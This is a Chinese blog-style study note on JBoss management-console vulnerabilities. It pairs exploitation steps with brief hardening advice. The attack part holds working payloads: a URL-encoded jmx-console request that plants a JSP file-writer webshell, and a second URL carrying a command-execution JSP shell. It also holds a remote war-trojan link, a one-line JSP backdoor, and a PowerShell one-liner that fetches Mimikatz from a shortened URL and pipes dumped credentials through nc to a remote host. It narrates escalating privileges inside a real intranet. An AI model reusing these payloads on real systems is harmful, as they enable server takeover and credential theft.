讲这个之前,先在本地搭建一个jboss环境,自从上次被吊打之后,觉得做安全的多少要会点防御,以前把太多精力放在攻击上面了。这就当做一个学习笔记,三件套,攻击过程,修复过程,自动化脚本。
漏洞复现 jmx-console
先安装docker镜像,docker pull tutum/jboss:as5
然后
docker run -d -p 8080:8080 -p 9990:9990 -e JBOSS_PASS="mypass" tutum/jboss
管理器的地址是 http://127.0.0.1:9990/manager/html 或者不设置密码
docker run -d -p 8080:8080 -p 9990:9990 tutum/jboss
这里选择as4版本,这个是老版本的jboss
然后找到addurl,填上war木马地址,进行远程部署 然后点击change
然后才到连接 http://192.168.190.145:8080/is/index.jsp 有些实际场景无法部署成功,可能做了限制吧 但是实际的路径确实在tmp路径下面
/jboss-4.2.3.GA/server/default/./tmp/deploy/tmp5962862023186656288is-exp.war/
漏洞修复 jxm-console
###1 加上密码验证 给jmx-console加上访问密码
常见路径
/jboss-4.2.3.GA/server/default/deploy/jmx-console.war/
1.在/server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml去掉
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
表示角色 3.在JBoss安装目录/server/default/config/login-config.xml 查找代码jmx-console 其中大致为
<module-option name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option name="rolesProperties">props/jmx-console-roles.properties</module-option>
打开jmx-console-users.properties 内容为
admin=admin #用户名:密码
jmx-console-roles.properties为角色分配
admin=JBossAdmin, HttpInvoker #用户名=角色,多个角色以“,”隔开
修复完成
关键路径 修改注视的地方 server/default/deploy/jmx-console.war/WEB-INF/jboss- web.xml server/default/deploy/jmx-console.war/WEB-INF/web.xml 用户密码位置 server/default/conf/props/jmx-console-users.properties jxm-console用户名密码
极端方法 删除 查找web-consel路径 find / -iname ServerInfo.jsp
jboss-4.2.3.GA/server/all/deploy/jmx-console.war
/jboss-4.2.3.GA/server/all/deploy/management/console-mgr.sar/web-console.war
jboss-4.2.3.GA/server/default/deploy/jmx-console.war
/jboss-4.2.3.GA/server/default/deploy/management/console-mgr.sar/web-console.war
漏洞复现 web-console
参考文献 各大容器拿shell 在有些高版本的jboss里面,貌似jxm-console无法直接部署 参考http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0157256.html
http://localhost:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
带回显
http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.jsp&t=%3C%25if(%22023%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();int%20a%20=%20-1;byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;out.print(%22%3Cpre%3E%22);while((a=in.read(b))!=-1)%7Bout.println(new%20String(b));%7Dout.print(%22%3C/pre%3E%22);%7D%25%3E%0A
上面的用法任意写 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami
之后在 http://192.168.31.6:8080/admin-console/secure/summary.seam?path=-33&conversationId=43&conversationPropagation=end会找到项目 物理路径为 /jboss-5.1.0.GA/server/default/deploy/management/upload5warn.war/shell.jsp
查看路径发现 所以访问 http://192.168.31.6:8080/upload5warn/shell.jsp?f=hello.txt&t=whoami可以写任意内容
漏洞修复 web-console
同方法一
漏洞复现 9990/console
上面说的都是老版本的jboss,下载心版本的jboss发现,没有了上面的jxm-console,测试的版本是as7 首先你要知道帐号和密码 在登录之后 选择好一个war就可以部署了,也可以下在园长mm的 http://p2j.cn/is.war 部署的时候记得点enable,然后访问就行了
漏洞修复 web-console
同方法一,修改密码
慢慢搞内网
我这里选择的是msf来入侵内网,用这个搞内网还是很成熟的,自动化很爽。 可以看到源码
内网渗透
首先尝试msf,但是发现反弹不出来,测试ping不通任何外网主机 试了几个常见的exp最终提权成功,不过域控没有搞下来,本次渗透就此作罢。 powweshell抓明文
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" | nc 192.168.1.1 4444
修复参考文献
http://blog.knowsky.com/193845.htm jsp后门 附带几个jsp木马
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
突然想到这些不同版本之间的拿shell方法不同,可以写一个完整的小项目来完成这个需求。